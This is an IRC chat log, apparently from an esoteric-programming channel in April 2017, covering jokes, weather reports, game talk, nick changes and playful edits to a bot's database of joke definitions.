joined. 14:03:12 -!- sease has joined. 14:04:49 -!- Seaser has quit (Ping timeout: 245 seconds). 14:26:04 -!- sease has quit (Ping timeout: 245 seconds). 14:28:51 -!- erkin has joined. 14:30:37 Suddenly, four randart maces, all positive. The RNG is *so* gonna kill me into the next generation... 14:31:16 fungot: please explain 14:31:17 int-e: i had got a number of other authors is kept alive by the drama till its place could, in evil times, like the unwise interference of our ancestors. i owe you an apology, mr. layard asked him for a moment. 14:33:13 ^style nethack 14:33:13 Selected style: nethack (NetHack 3.4.3 data.base, rumors.tru, rumors.fal) 14:35:09 I also have two levels of regen mutation. not only am I gonna die with suffering, the RNG is gonna make me call it Uncle. 14:36:13 stone soup does not sound very tasty 14:36:24 eat dust, heros? 14:41:13 soup gushes forth from the overflowing fungot 14:41:13 Jafet: they say that there's no food. there is nothing to be untainted!' wailed legolas. ' saruman, your staff is broken.' and tyr is one- handed, and a mere gaze into his month, he commanded kay: " god save thee, ancient mariner! from the houseless hills, when it appeared in the dungeon. 14:41:16 😎 14:52:26 naba. 14:52:48 =] 14:52:59 the crawl quote list seems to be much smaller than the nethack one 14:55:18 A man walked into his self-driving car, and asked it to drive him to the nearest car dealership. The car locked its doors, and politely asked how long it takes for humans to starve to death. 14:56:32 The clever man would reply, "Humans can't starve to death." The average man would reply, "Let me out!" The dumb man would reply, "I don't know, maybe a month?" 14:58:05 nevermind, the compiled 3.4.3 nhdat seems to consist only of large blobs of pratchett 15:00:03 ? pratchett 15:00:04 pratchett? ¯\(°​_o)/¯ 15:01:46 ? peng 15:01:47 peng? ¯\(°​_o)/¯ 15:01:49 ? ping 15:01:50 Ping is a Peking Duck H4XX0R who amuses himself by making people's IRC connections timeout. 15:01:51 ? pong 15:01:52 pong? ¯\(°​_o)/¯ 15:02:44 Clearly pengs are the third phase of the alien pong, which makes absolutely certain that communication both ways is working. 15:03:43 A>Ping>B>Pong>A>Peng>B. If B receives a Ping but not a Peng, something went wrong sending the Pong. If A doesn't receive a Pong, something went wrong sending the Ping. 15:04:37 What if something went wrong while sending the Peng 15:04:59 A>Ping>B>Pong>A>Peng>B>Pang 15:05:01 >A 15:05:45 Although the likelihood of the Ping going through and the Peng not is nonzero, I have a hunch it may be smaller than the likelihood of the Ping not going through. 15:09:15 How about this: "ping is a computer network administration software utility used to test the reachability of a host on an Internet Protocol (IP) network, and vice versa." 15:11:41 Oops 15:11:43 I mean peng 15:11:51 "peng is a computer network administration software utility used to test the reachability of a host on an Internet Protocol (IP) network, and vice versa." 15:12:17 A Couple of Years ago somebody laughed at me because i called „Table-Tennis“ „Ping-Pong“ 15:12:29 It really is rather „Ping-Pong-Pong“ 😉 15:12:37 Or Ping-Pong-Peng? 15:12:38 =] 15:13:23 le//rn peng//peng is a computer network administration software utility used to test the reachability of a destination host on an Internet Protocol (IP) network, and the destination host's ability to reach the originating host. 15:13:25 Learned 'peng': peng is a computer network administration software utility used to test the reachability of a destination host on an Internet Protocol (IP) network, and the destination host's ability to reach the originating host. 15:13:36 kkk 15:14:50 APic: Ping! 15:14:55 Pong. 15:14:58 Peng! 15:15:03 Gesundheit. 15:15:08 Bonjour. 15:15:29 Ah. 15:15:30 nvm 15:17:02 Bonjourdococ. Comment va? 15:18:18 heh 15:18:26 Hoily 15:20:50 Y fait tu chaud par chez vous? 15:21:02 (that one's for oerjan to parse. mwah ah ah.) 15:22:53 ha ha hawm 15:24:18 I see. 15:24:33 time to shuffle! 15:24:41 -!- boily has quit (Quit: EVERYTHING CHICKEN). 15:24:56 time = shuffle; 15:25:09 time = 2:239 Summer O'Clock ON the Wendesay first of the chicken. 15:25:11 wait wut 15:26:37 poultry chonrometry seems complicated. 15:26:54 ... what did I do to that poor r. 15:29:18 I don't see how it's that complex. 15:29:33 Poultry time is when you eat poultry. 16:02:59 -!- FreeFull has quit (Read error: Connection reset by peer). 16:05:04 -!- FreeFull has joined. 16:24:28 bonjoily 16:24:34 oh 16:24:36 nvm 16:24:40 * quintopia --> 16:39:22 -!- Phantom_Hoover has joined. 16:44:30 -!- sleffy has joined. 17:12:18 -!- Seaser has joined. 17:18:35 -!- sease has joined. 17:22:02 -!- Seaser has quit (Ping timeout: 252 seconds). 17:28:16 -!- Seaser has joined. 17:29:44 -!- sease has quit (Ping timeout: 252 seconds). 17:35:13 -!- Phantom_Hoover has quit (Read error: Connection reset by peer). 17:36:36 -!- augur has joined. 17:54:06 @metar EGLL 17:54:06 EGLL 091620Z AUTO 21013KT 180V250 9999 NCD 23/07 Q1018 NOSIG 17:54:12 That's just ridiculous. 18:02:02 -!- sease has joined. 18:04:01 -!- atslash has quit (Ping timeout: 255 seconds). 18:04:15 -!- atslash has joined. 18:05:26 @metar lowi 18:05:26 LOWI 091650Z 06007KT 030V100 9999 FEW080 21/05 Q1021 NOSIG 18:05:29 -!- Seaser has quit (Ping timeout: 252 seconds). 18:05:33 summer is coming 18:05:50 is that what you mean? 18:06:35 Yes, it's unseasonably warm. 18:08:13 -!- Seaser has joined. 18:11:13 -!- sease has quit (Ping timeout: 240 seconds). 18:15:30 -!- Seaser has quit (Quit: Leaving). 18:15:37 -!- Seaser has joined. 18:17:48 -!- sease has joined. 18:18:59 -!- idris-bot has quit (Ping timeout: 260 seconds). 18:21:04 -!- Seaser has quit (Ping timeout: 245 seconds). 18:21:32 <\oren\> I'm going indoor skydiving! 18:23:31 Sounds tasty. 18:28:09 -!- sease has quit (Ping timeout: 245 seconds). 18:28:50 -!- Seaser has joined. 18:29:29 -!- sease has joined. 18:32:27 -!- Phantom_Hoover has joined. 18:33:13 -!- Seaser has quit (Ping timeout: 240 seconds). 18:35:13 -!- sease has quit (Ping timeout: 240 seconds). 18:46:59 -!- Seaser has joined. 18:48:00 -!- sease has joined. 18:48:00 -!- Seaser has quit (Disconnected by services). 18:48:16 -!- Seaser has joined. 18:52:29 [wiki] [[Special:Log/newusers]] create * \0 * New user account 19:00:22 -!- atslash has quit (Quit: This computer has gone to sleep). 19:00:43 -!- Seaser has quit (Ping timeout: 240 seconds). 19:00:43 -!- sease has quit (Ping timeout: 240 seconds). 19:24:39 -!- AnotherTest has joined. 19:42:00 -!- Seaser has joined. 19:43:04 -!- Seaser has quit (Client Quit). 19:45:26 -!- Seaser has joined. 19:48:24 -!- Seaser has quit (Quit: Leaving). 19:49:18 -!- Seaser has joined. 19:49:53 -!- Seaser has quit (Client Quit). 19:50:10 -!- Seaser has joined. 19:53:54 -!- augur has quit (Remote host closed the connection). 20:04:45 -!- augur has joined. 20:05:24 -!- erkin has quit (Quit: Ouch! Got SIGABRT, dying...). 20:20:40 -!- sease has joined. 20:20:40 -!- Seaser has quit (Disconnected by services). 20:21:30 -!- sease has quit (Client Quit). 20:21:39 -!- Seaser has joined. 20:25:02 -!- sease has joined. 20:25:02 -!- Seaser has quit (Disconnected by services). 20:35:13 -!- sease has quit (Ping timeout: 240 seconds). 20:43:16 -!- atslash has joined. 20:47:13 -!- atslash has quit (Ping timeout: 240 seconds). 20:47:41 -!- atslash has joined. 20:49:24 -!- DHeadshot has quit (Ping timeout: 245 seconds). 20:49:59 -!- rdococ has changed nick to RD-Local. 20:50:06 -!- RD-Local has changed nick to rdococ. 20:50:07 -!- augur has quit (Remote host closed the connection). 20:51:46 -!- DHeadshot has joined. 20:52:25 -!- MoALTz has quit (Quit: Leaving). 20:53:30 -!- atslash has quit (Quit: This computer has gone to sleep). 20:58:44 -!- Lord_of_Life has quit (Excess Flood). 20:59:01 -!- Lord_of_Life has joined. 20:59:38 -!- Seaser has joined. 21:03:57 -!- augur has joined. 21:06:17 [wiki] [[Esolang:Introduce yourself]] https://esolangs.org/w/index.php?diff=51650&oldid=51643 * Josh * (+145) /* Introductions */ 21:06:27 [wiki] [[PUPPY]] N https://esolangs.org/w/index.php?oldid=51651 * Josh * (+938) Created page with "'''PUPPY''' The languages that only puppies can understand. PUPPY is an esoteric programming language that is made up of lowercase and uppercase forms of "BARK", "WOOF" and..." 21:08:26 -!- augur has quit (Ping timeout: 255 seconds). 21:11:44 [wiki] [[Joke language list]] https://esolangs.org/w/index.php?diff=51652&oldid=51265 * Josh * (+62) 21:14:14 -!- Seaser has quit (Ping timeout: 240 seconds). 21:20:02 @metar kdtw 21:20:02 KDTW 091953Z 21021G28KT 10SM FEW050 FEW100 BKN250 25/06 A2988 RMK AO2 PK WND 21031/1943 SLP118 T02500061  21:20:22 -!- augur has joined. 21:20:25 [wiki] [[PUPPY]] https://esolangs.org/w/index.php?diff=51653&oldid=51651 * Josh * (-47) 21:30:08 -!- augur has quit (Ping timeout: 255 seconds). 21:30:54 -!- DHeadshot has quit (Ping timeout: 240 seconds). 21:47:49 WOOF WOOF 21:48:30 -!- Optiprism has joined. 22:11:28 -!- Lord_of_Life has quit (Excess Flood). 22:12:23 -!- sebbu2 has joined. 22:15:31 -!- Lord_of_Life has joined. 22:16:08 -!- sebbu has quit (Ping timeout: 268 seconds). 22:28:57 -!- AnotherTest has quit (Quit: ZNC - http://znc.in). 22:30:07 -!- longerstaff13 has changed nick to shorterstaff13. 22:30:23 -!- shorterstaff13 has changed nick to longerstaff13232. 22:30:59 -!- longerstaff13232 has changed nick to Blueeeeeee. 22:31:49 -!- Blueeeeeee has changed nick to bluuuuu. 22:32:09 -!- bluuuuu has changed nick to LS13. 22:32:52 -!- LS13 has changed nick to LS. 22:33:36 -!- LS has changed nick to longerstaff13. 22:35:05 -!- Lord_of_Life has quit (Excess Flood). 22:37:31 -!- Lord_of_Life has joined. 22:54:17 -!- hppavilion[2] has joined. 23:02:17 -!- hppavilion[2] has quit (Ping timeout: 255 seconds). 23:14:11 -!- DHeadshot has joined. 23:16:38 -!- hppavilion[2] has joined. 23:23:13 -!- DHeadshot has quit (Ping timeout: 240 seconds). 23:50:53 -!- hppavilion[2] has quit (Ping timeout: 255 seconds). 23:53:27 -!- Phantom_Hoover has quit (Read error: Connection reset by peer). 23:55:26 -!- Phantom_Hoover has joined. 23:55:26 -!- Phantom_Hoover has quit (Changing host). 23:55:26 -!- Phantom_Hoover has joined. 23:58:16 someone link me a puppy gif 2017-04-10: 00:02:35 -!- oerjan has joined. 00:10:19  ls -l wisdom/password 00:10:20 ​-rw-r--r-- 1 5000 0 45 Mar 8 12:13 wisdom/password 00:10:37 -!- sebbu2 has changed nick to sebbu. 00:11:23 -!- hppavilion[2] has joined. 00:14:49 learn The password of the month is bad 00:14:51 Relearned 'password': The password of the month is bad 00:17:53 -!- hppavilion[2] has quit (Ping timeout: 255 seconds). 00:23:21 thats not puppies 00:23:40 -!- Phantom_Hoover has quit (Quit: Leaving). 00:28:47 @tell boily about don't hard i parse see so that to what's. 00:28:47 Consider it noted. 00:30:05 @metar ENVA 00:30:05 ENVA 092320Z 14005KT 9999 -DZ BKN037 06/05 Q0999 RMK WIND 670FT 12004KT 00:30:16 spring's a-coming. maybe. 00:32:22 ih 00:32:59 rdococello 00:41:19 hellørjan 00:53:32 -!- sleffy has quit (Ping timeout: 255 seconds). 00:59:14 -!- Zarutian has quit (Quit: Zarutian). 01:08:53 -!- hppavilion[1] has joined. 01:19:50 -!- Lord_of_Life has quit (Excess Flood). 01:20:01 -!- Lord_of_Life has joined. 01:36:11 -!- hppavilion[1] has quit (Ping timeout: 255 seconds). 01:39:34 <\oren\> I'm back from indoor skydiving! 01:39:37 <\oren\> It was super fun 01:40:48 -!- Lord_of_Life has quit (Excess Flood). 01:40:52 -!- sleffy has joined. 01:42:01 -!- Lord_of_Life has joined. 01:43:59 -!- doesthiswork has joined. 01:53:04 <\oren\> however, I totally lost a shoe 01:59:45 . o O ( no crashing into walls? ) 02:03:31 <\oren\> https://www.facebook.com/oren.watson/posts/1429012490471242 02:03:42 <\oren\> lolololol 02:35:13 -!- sleffy has quit (Ping timeout: 240 seconds). 02:35:39 -!- sleffy has joined. 02:50:58 -!- Optiprism has quit (Ping timeout: 255 seconds). 02:51:25 -!- Optiprism has joined. 02:56:45 -!- atslash has joined. 03:00:54 -!- atslash has quit (Ping timeout: 240 seconds). 03:01:46 -!- atslash has joined. 03:01:53 -!- boily has joined. 03:02:04 wisdom 03:02:05 daystar//The Daystar is an unscientific myth of a bright orb glowing in the sky outside only at the times you're in your office. 03:02:12 @massages-loud 03:02:12 oerjan said 2h 33m 24s ago: about don't hard i parse see so that to what's. 03:02:39 hellørjan. something like that. 03:03:48 bood almost mornily. 03:08:10 time to sleep, then! 03:08:13 -!- atslash has quit (Read error: Connection reset by peer). 03:08:17 -!- boily has quit (Quit: BEND CHICKEN). 03:08:52 -!- 32NAABOS4 has joined. 03:08:53 -!- 3NAAAPF10 has joined. 03:09:12 * oerjan sees double @/s 03:11:04 @masseges-loud 03:11:04 You don't have any messages 03:11:23 @nessages-loud 03:11:23 You don't have any messages 03:11:26 @nessoges-loud 03:11:26 You don't have any messages 03:11:29 @nissoges-loud 03:11:29 Unknown command, try @list 03:11:32 aw 03:12:05 YOU WENT TOO FAR 03:13:39 <\oren\> @messages-proud 03:13:39 You don't have any messages 03:13:47 @nessoges-proud 03:13:48 Unknown command, try @list 03:13:51 @nessages-proud 03:13:51 Unknown command, try @list 03:13:58 @mossages-proud 03:13:58 Unknown command, try @list 03:14:01 @messages-proud 03:14:01 You don't have any messages 03:14:06 @messages-loud 03:14:06 You don't have any messages 03:14:11 @messages-food 03:14:11 You don't have any messages 03:14:15 heh 03:14:17 <\oren\> @massages-lewd 03:14:18 Unknown command, try @list 03:14:26 <\oren\> @messages-lewd 03:14:27 You don't have any messages 03:14:49 @messages-lard 03:14:50 You don't have any messages 03:19:09 -!- 32NAABOS4 has quit (Quit: This computer has gone to sleep). 03:19:10 -!- 3NAAAPF10 has quit (Quit: This computer has gone to sleep). 03:35:35 -!- atslash has joined. 03:40:14 -!- atslash has quit (Ping timeout: 252 seconds). 03:40:55 -!- atslash has joined. 03:42:43 -!- sleffy has quit (Ping timeout: 255 seconds). 03:49:16 Is "QoS" a valid word in Klingon? 03:50:55 let group=Object.create(null); const beginGroup=()=>(group=Object.create(group)); const endGroup=(group=Object.getPrototypeOf(group)); Try to make something like TeX's grouping implementation with JavaScript. Do you like this? 04:15:46 -!- hppavilion[1] has joined. 05:02:17 -!- sleffy has joined. 05:11:15 -!- Optiprism has quit (Read error: Connection reset by peer). 05:14:45 Ugh 05:14:56 The UK is considering using their blocking system to censor "extremist" media 05:15:07 Which is all well and good until you realize that people might want to use it for research 05:24:38 There are other problem too I think, including that they shouldn't censor the media anyways, and instead you should have the free speech. The BBC should still reject such television shows on their channel though 05:53:16 zzo38: Yeah, that too 05:54:09 I think I'm going to try setting my alarm clock to conservative talk radio 05:54:16 So I have to get out of bed to shut it off 06:21:56 -!- sleffy has quit (Ping timeout: 255 seconds). 06:34:45 -!- sleffy has joined. 06:47:45 -!- doesthiswork has quit (Quit: Leaving.). 06:49:28 -!- FreeFull has quit. 07:05:38 -!- oerjan has quit (Quit: Nite). 07:28:21 -!- MoALTz has joined. 07:37:29 -!- erkin has joined. 08:25:08 -!- sleffy has quit (Ping timeout: 252 seconds). 09:07:56 -!- erkin has quit (Quit: Ouch! Got SIGABRT, dying...). 09:07:56 * hppavilion[1] writes an algorithm that runs in O(1/n) time 09:12:05 -!- augur has joined. 09:13:58 -!- augur has quit (Remote host closed the connection). 09:14:11 -!- augur has joined. 09:22:15 -!- AnotherTest has joined. 10:08:34 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 10:22:25 -!- atslash has quit (Quit: Leaving). 10:23:53 -!- Seaser has joined. 10:36:50 -!- augur has quit (Remote host closed the connection). 11:29:13 -!- boily has joined. 11:38:48 wisdom 11:38:50 napkin//A complement of small lemon-soaked paper napkins is essential for the comfort, refreshment, and hygiene of the passengers during the journey. 11:39:03 test 11:39:07 !ping 11:39:09 .hi 11:39:12 .say hello 11:39:18 hi everyone :) 11:40:28 wait, whose is that? I don't recall adding it, even though it's in my style 11:40:40 dowg napkin 11:40:52 8690:2016-07-04 slashlearn napkin/A complement of small lemon-soaked paper napkins is essential for the comfort, refreshment, and hygiene of the passengers during the journey. 11:41:08 it was me 11:41:09 ok 11:41:18 gimme another then 11:41:22 wisdom 11:41:23 insurance//Insurance is a closed loop. 11:41:23 quote 11:41:24 979) prediction: kmc never comes back * kmc has joined #esoteric 11:43:37 Selloaser, b_jellonas. 11:43:45 wisdom 11:43:47 dark water//Dark water is an instadeath terrain type in Game Boy games that would represent lava if you had lots of imagination. 11:45:11 That one is mine, and I still stand by it. 11:48:06 -!- Lord_of_Life has quit (Excess Flood). 11:49:31 -!- Lord_of_Life has joined. 11:51:59 wisdom 11:52:01 ppntat//Pen Pineapple Nutmeg Tamarind Apple Tangerine 11:57:50 what 12:05:05 I don't know... 12:25:19 -!- boily has quit (Quit: COLLABORATIVE CHICKEN). 12:34:05 Sounds like an 80s dance song 12:43:22 ? peng 12:43:23 ​peng is a computer network administration software utility used to test the reachability of a destination host on an Internet Protocol (IP) network, and the destination host's ability to reach the originating host. 12:44:08 ? pang 12:44:09 pang? ¯\(°​_o)/¯ 12:47:10 b_jonas: probably a reference to https://www.youtube.com/watch?v=Ct6BUPvE2sM 12:49:19 -!- Lord_of_Life has quit (Excess Flood). 12:49:31 -!- Lord_of_Life has joined. 13:06:57 -!- Zarutian has joined. 13:10:24 cwlprits peng 13:10:31 rdocöc 13:10:50 dowg peng 13:10:57 10594:2017-04-09 le//rn peng//\x02peng\x02 is a computer network administration software utility used to test the reachability of a destination host on an Internet Protocol (IP) network, and the destination host\'s ability to reach the originating host. 13:16:06 [wiki] [[Special:Log/newusers]] create * HopefulO * New user account 13:17:20 sux 13:20:20 -!- Lord_of_Life has quit (Excess Flood). 13:21:31 -!- Lord_of_Life has joined. 13:33:25 -!- Zarutian has quit (Quit: Zarutian). 13:39:16 oerjan: one of the puzzles in the witness is p. much Loopy hth 13:39:25 (except not in a loop) 13:39:49 so maybe you should play the witness hth 13:45:04 -!- Lord_of_Life has quit (Excess Flood). 13:50:34 loppy de loop 14:00:34 -!- doesthiswork has joined. 14:01:44 -!- AnotherTest has quit (Ping timeout: 252 seconds). 14:15:03 -!- Seaser has quit (Ping timeout: 260 seconds). 14:16:53 -!- yorick has joined. 14:17:05 you guys have seen wysiscript, right? 14:18:21 yorick: I think I created the article for it 14:19:19 I don't like it, but it's worth an article on the wiki anyway 14:19:24 -!- AnotherTest has joined. 14:19:43 shachaf: what's up with the wiki? is it the read-only mirror again? 14:19:47 I can't log in 14:20:21 I don't know. I don't even have an account on the wiki. 14:29:51 It should be up as usual. 14:30:10 I was able to log in. 14:35:56 ? ipv1 14:35:57 ipv1? ¯\(°​_o)/¯ 14:35:58 ? ipv4 14:36:02 ? ipv5 14:36:02 ipv4? ¯\(°​_o)/¯ 14:36:03 ipv5? ¯\(°​_o)/¯ 14:44:30 -!- ^_^v has joined. 14:44:44 -!- Herbstkind has joined. 14:44:58 fizzie: thanks 14:45:28 The wisdomme is again not working ._. 14:49:22 I'm going to use my computer to make a large amount of boring numeric computation 14:54:16 How dare you. Computers have feelings too. 15:05:07 ? fly spray 15:05:09 fly spray? ¯\(°​_o)/¯ 15:05:45 le//rn fly spray//Fly spray is a spray made of flies. Useful for extinguishing pests, such as humans, or in the case of the more specific bug spray, programs. 15:05:47 Learned 'fly spray': Fly spray is a spray made of flies. Useful for extinguishing pests, such as humans, or in the case of the more specific bug spray, programs. 15:28:34 err 15:36:43 -!- Herbstkind has quit (Quit: http://www.kiwiirc.com/ - A hand crafted IRC client). 16:11:02 -!- Seaser has joined. 16:12:29 olist 1070 16:12:30 olist 1070: shachaf oerjan Sgeo FireFly boily nortti b_jonas 16:12:37 oh! 16:24:52 -!- erkin has joined. 16:30:41 -!- hppavilion[1] has joined. 16:45:07 -!- Phantom_Hoover has joined. 16:47:51 -!- FreeFull has joined. 16:53:07 -!- Seaser has quit (Ping timeout: 260 seconds). 16:59:15 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 17:02:46 -!- Seaser has joined. 17:04:43 -!- Seaser has quit (Client Quit). 17:09:34 -!- hppavilion[1] has joined. 17:20:39 -!- hppavilion[1] has quit (Ping timeout: 245 seconds). 17:23:16 -!- augur has joined. 17:29:45 -!- Seaser has joined. 17:49:55 -!- FreeFull has quit (Ping timeout: 240 seconds). 17:53:38 -!- AnotherTest has quit (Ping timeout: 240 seconds). 17:56:49 -!- DHeadshot has joined. 17:57:22 -!- h0rsep0wer has joined. 18:13:26 -!- FreeFull has joined. 18:21:23 where is the love 18:26:17 <\oren\> Apparently United Airlines overbooked a flight, so they beat the crap out of a black guy and dragged him off the plane to make room 18:35:47 -!- hppavilion[1] has joined. 18:38:20 -!- AnotherTest has joined. 18:38:56 -!- h0rsep0wer has quit (Ping timeout: 252 seconds). 18:44:58 <\oren\> Fly the Fascist Skies, with United Airlines 18:55:35 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 19:01:04 -!- hppavilion[1] has joined. 19:04:08 -!- sleffy has joined. 19:11:34 <\oren\> what is -bash? 19:16:44 -!- augur has quit (Remote host closed the connection). 19:21:39 -!- augur has joined. 19:21:57 . o O ( Does having a long lifespan make you temporally fat? ) 19:22:00 ? fat 19:22:01 Fats are one of the four basic classes of nutrients. The other three are sugars, coffee and alcohol. 19:22:05 heh :P 19:22:14 ? age 19:22:16 age? ¯\(°​_o)/¯ 19:22:35 ? lifespan 19:22:36 lifespan? ¯\(°​_o)/¯ 19:24:24 le//rn lifespan//Your lifespan is how fat you are in the time dimension. The temporally fattest person in the world has a temporal length of 122 years. 19:24:26 Learned 'lifespan': Your lifespan is how fat you are in the time dimension. The temporally fattest person in the world has a temporal length of 122 years. 19:26:00 -!- augur has quit (Ping timeout: 240 seconds). 19:29:44 <\oren\> interestingly, the fatter you are in space, the less fat you tend to be in time 19:30:35 -!- sease has joined. 19:33:35 -!- Seaser has quit (Ping timeout: 255 seconds). 19:34:07 Has anyone thought about adding exception handling to INTERCAL 19:34:14 specifically for when the compiler takes exception to your code 19:34:56 Compile-time exception handling? Actually, yes, but not the details 19:35:10 😸 19:43:42 -!- h0rsep0wer has joined. 19:44:48 help slwd 19:44:49 Runs arbitrary code in GNU/Linux. Type "", or "run " for full shell commands. "fetch [] " downloads files. Files saved to PWD are persistent, and PWD/bin is in PATH. PWD is a mercurial repository, "revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/ 19:44:57 That really helps, HackEgo. 19:45:13 -!- Phantom_Hoover has quit (Ping timeout: 240 seconds). 19:47:36 learn_append lifespan Interestingly, the fatter you are in space, the less fat you tend to be in time. 19:47:38 Learned 'lifespan': Your lifespan is how fat you are in the time dimension. The temporally fattest person in the world has a temporal length of 122 years. Interestingly, the fatter you are in space, the less fat you tend to be in time. 19:47:55 ? relativity 19:47:56 relativity? ¯\(°​_o)/¯ 19:48:09 -!- hppavilion[1] has quit (Ping timeout: 245 seconds). 19:56:05 -!- hppavilion[1] has joined. 20:14:12 -!- sease has quit (Quit: Leaving). 20:14:30 -!- Seaser has joined. 20:15:24 -!- Phantom_Hoover has joined. 20:15:58 -!- sease has joined. 20:18:43 -!- Seaser has quit (Ping timeout: 240 seconds). 20:25:08 -!- augur has joined. 20:29:48 -!- moony has joined. 20:29:51 -!- Seaser has joined. 20:31:13 -!- sease has quit (Ping timeout: 240 seconds). 20:38:29 ? cyanide 20:38:30 cyanide? ¯\(°​_o)/¯ 20:38:43 le//rn cyanide//Cyanide is the murder of the color cyan. 20:38:45 Learned 'cyanide': Cyanide is the murder of the color cyan. 20:39:02 Here is a tip: 20:39:07 > Rewrite HackEgo in rust 20:39:09 :1:17: error: parse error on input ‘in’ 20:39:12 [  ] 20:39:17 ^^ tip :P 20:39:18 ? tip 20:39:19 tip? ¯\(°​_o)/¯ 20:39:55 le//rn tip//A tip is [  ] if you're American, and [ £ ] if you're British. 20:39:57 Learned 'tip': A tip is [  ] if you're American, and [ £ ] if you're British. 20:40:35 Oh, I forgot ¥ 20:41:28 £5 for a tip is pretty reasonable i guess 20:41:58 brb, porting rustc to hackego 20:43:23 <\oren\> a tip is if you're japanese 20:44:11 <\oren\> rdococ: people in Japan don't expect or give tips 20:45:01 -!- Lord_of_Life has joined. 20:45:35 -!- DHeadshot has quit (Ping timeout: 255 seconds). 20:48:32 -!- sease has joined. 20:51:43 -!- Seaser has quit (Ping timeout: 240 seconds). 20:52:53 -!- h0rsep0wer has quit (Quit: Leaving). 20:59:15 \\oren\: ah j 20:59:16 k* 21:01:59 slwd tip//s,and ,,;s,.,\, and if you're Japanese. 21:02:00 ​/bin/sed: -e expression #1, char 45: unterminated s' command 21:02:06 slwd tip//s,and ,,;s,.,\, and if you're Japanese., 21:02:08 tip//, and if you're Japanese. tip is [  ] if you're American, [ £ ] if you're British. 21:02:13 Er 21:02:58 le//rn tip//A tip is [  ] if you're American, [ £ ] if you're British, and if you're Japanese. 21:03:00 Relearned 'tip': A tip is [  ] if you're American, [ £ ] if you're British, and if you're Japanese. 21:04:13 ? palindrome 21:04:14 palindrome? ¯\(°​_o)/¯ 21:06:09 le//rn palindrome//A palindrome is a word that remains the same if you take it to the mirror dimension, and then take each individual letter back to the normal dimension separately. 21:06:11 Learned 'palindrome': A palindrome is a word that remains the same if you take it to the mirror dimension, and then take each individual letter back to the normal dimension separately. 21:08:34 ? 8008 21:08:35 8008? ¯\(°​_o)/¯ 21:08:40 ? eight thousand and eight 21:08:41 eight thousand and eight? ¯\(°​_o)/¯ 21:13:36 ? 8080 21:13:37 8080? ¯\(°​_o)/¯ 21:13:40 ? intel 21:13:41 intel? ¯\(°​_o)/¯ 21:13:44 WAT 21:15:27 le//rn five million, three hundred and eighteen thousand and eight//Five million, three hundred and eighteen thousand and eight is a famous number because its reciprocal is 1.8804033389946 * 10^-7, which when upside down spells L-vOI * gtGGBEEEOtOBB.I. 21:15:29 Learned 'five million, three hundred and eighteen thousand and eight': Five million, three hundred and eighteen thousand and eight is a famous number because its reciprocal is 1.8804033389946 * 10^-7, which when upside down spells L-vOI * gtGGBEEEOtOBB.I. 21:15:38 Actually 21:15:50 le//rn 5318008//5318008 is a famous number because its reciprocal is 1.8804033389946 * 10^-7, which when upside down spells L-vOI * gtGGBEEEOtOBB.I. 21:15:52 Learned '5318008': 5318008 is a famous number because its reciprocal is 1.8804033389946 * 10^-7, which when upside down spells L-vOI * gtGGBEEEOtOBB.I. 21:16:36 le//rn 5318008//5318008 is a famous number because its reciprocal is 1.8804033389946 * 10^-7, which when upside down spells L-vOI * ghGGBEEEOhOBB.I. 21:16:37 Relearned '5318008': 5318008 is a famous number because its reciprocal is 1.8804033389946 * 10^-7, which when upside down spells L-vOI * ghGGBEEEOhOBB.I. 21:16:43 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 21:16:54 le//rn 5318008//5318008 is a famous number because its reciprocal is 1.8804033389946 * 10^-7, which when upside down on a calculator spells L-vOI * ghGGBEEEOhOBB.I. 21:16:56 Relearned '5318008': 5318008 is a famous number because its reciprocal is 1.8804033389946 * 10^-7, which when upside down on a calculator spells L-vOI * ghGGBEEEOhOBB.I. 21:17:19 forget five million, three hundred and eighteen thousand and eight 21:17:20 Forget what? 21:19:58 -!- zzo38 has quit (Remote host closed the connection). 21:20:03 -!- Seaser has joined. 21:22:08 -!- sease has quit (Ping timeout: 240 seconds). 21:30:20 ? earth 21:30:21 Topologically speaking, the Earth has been a coffee mug ever since that hole to China was dug. 21:33:33 -!- sease has joined. 21:34:19 learn_append earth Even before that, as long as there has been any tunnel connecting two points on the surface, or a hollow cylinder like a toilet roll, Earth has been a coffee mug. 21:34:21 Learned 'earth': Topologically speaking, the Earth has been a coffee mug ever since that hole to China was dug. Even before that, as long as there has been any tunnel connecting two points on the surface, or a hollow cylinder like a toilet roll, Earth has been a coffee mug. 21:36:53 -!- Seaser has quit (Ping timeout: 255 seconds). 21:37:03 revert 21:37:05 Done. 21:37:11 aw 21:37:12 rdococ, 'brevity is the soul of wit' 21:37:16 er 21:37:18 true 21:37:27 I guess 21:37:56 though i was going to riff on that point myself 21:41:05 I can understand it now 21:41:16 probably not when I was younger tho 21:58:53 hmm 21:59:58 mmh 22:03:29 -!- Seaser has joined. 22:06:34 -!- sease has quit (Ping timeout: 255 seconds). 22:07:12 <\oren\> the wikipedia page on the archangel gabriel is severely lacking in anime 22:11:06 -!- MoALTz has quit (Quit: Leaving). 22:16:55 <\oren\> http://i2.cdn.cnn.com/cnnnext/dam/assets/170410154644-kusher-bannon-battle-exlarge-169.jpg <-- I like cnn's fanart 22:28:53 -!- ais523 has joined. 22:36:18 holais523 22:36:52 holæ 22:37:04 hi 22:38:58 -!- AnotherTest has quit (Quit: ZNC - http://znc.in). 22:48:00 -!- ^_^v has quit (Quit: This computer has gone to sleep). 22:48:27 -!- hppavilion[1] has joined. 22:50:54 -!- boily has joined. 22:55:00 wisdom 22:55:01 foe//the foe is the Field-On Enemy 22:59:04 ? pants 22:59:05 pants? ¯\(°​_o)/¯ 23:03:59 -!- hppavilion[1] has quit (Ping timeout: 245 seconds). 23:14:51 -!- augur has quit (Read error: Connection reset by peer). 23:15:16 -!- augur has joined. 23:20:01 -!- erkin has quit (Quit: Ouch! Got SIGABRT, dying...). 23:27:24 -!- DHeadshot has joined. 23:30:31 * boily is silently, persistently boring rdococ with assiduity 23:30:52 ...# 23:30:56 -!- sease has joined. 23:32:03 mwah ah ah. 23:32:13 -!- Seaser has quit (Ping timeout: 240 seconds). 23:32:37 @metar CYUL 23:32:37 CYUL 102223Z 23016G25KT 15SM -SHRA BKN070 BKN130 OVC200 23/09 A2983 RMK AC5AC2CI1 CVCTV CLD EMBD SLP104 DENSITY ALT 1100FT 23:33:10 first thunderstorm of the year! 23:39:05 -!- boily has quit (Quit: SULFURIC CHICKEN). 23:40:15 -!- moony has 